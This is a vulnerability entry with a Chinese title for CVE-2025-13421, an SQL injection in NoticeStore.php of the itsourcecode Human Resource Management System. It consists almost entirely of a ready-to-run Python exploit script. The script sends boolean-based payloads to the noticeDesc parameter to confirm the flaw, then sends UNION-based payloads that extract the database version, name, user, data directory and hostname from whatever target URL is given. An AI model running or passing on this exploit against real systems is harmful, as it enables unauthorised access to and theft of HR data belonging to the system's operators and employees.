CVE-2025-13421 itsourcecode HRM系统 NoticeStore.php SQL注入漏洞

import requests import sys # CVE-2025-13421 SQL Injection PoC # Target: itsourcecode Human Resource Management System 1.0 # File: /src/store/NoticeStore.php # Parameter: noticeDesc def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in NoticeStore.php Args: target_url: Base URL of the vulnerable application payload: SQL injection payload Returns: Response from the server """ endpoint = f"{target_url}/src/store/NoticeStore.php" # Prepare malicious data with SQL injection payload data = { 'noticeDesc': payload, # Other required parameters may be needed } try: response = requests.post(endpoint, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def basic_detection(target_url): """ Basic vulnerability detection using boolean-based injection """ print(f"[*] Testing target: {target_url}") # Normal request normal_payload = "Test Notice" normal_response = exploit_sqli(target_url, normal_payload) # Injection test with boolean logic true_payload = "' OR '1'='1" false_payload = "' AND '1'='2" true_response = exploit_sqli(target_url, true_payload) false_response = exploit_sqli(target_url, false_payload) if true_response and false_response: if true_response.text != false_response.text: print("[+] Vulnerability potentially detected!") print(f"[+] True condition response length: {len(true_response.text)}") print(f"[+] False condition response length: {len(false_response.text)}") return True print("[-] Vulnerability not detected or target not vulnerable") return False def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # UNION injection to get database version and current database payloads = [ "' UNION SELECT NULL,version(),database(),user()-- -", "' UNION SELECT NULL,@@version,@@datadir,@@hostname-- -" ] for payload in payloads: response = exploit_sqli(target_url, payload) if response and response.status_code == 200: print(f"[*] Payload: {payload}") print(f"[*] Response snippet: {response.text[:500]}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13421.py <target_url>") print("Example: python cve-2025-13421.py http://target.com/hris") sys.exit(1) target = sys.argv[1].rstrip('/') # Step 1: Basic detection if basic_detection(target): print("\n[*] Proceeding with information extraction...") extract_database_info(target) else: print("\n[-] Target may not be vulnerable. Manual verification recommended.")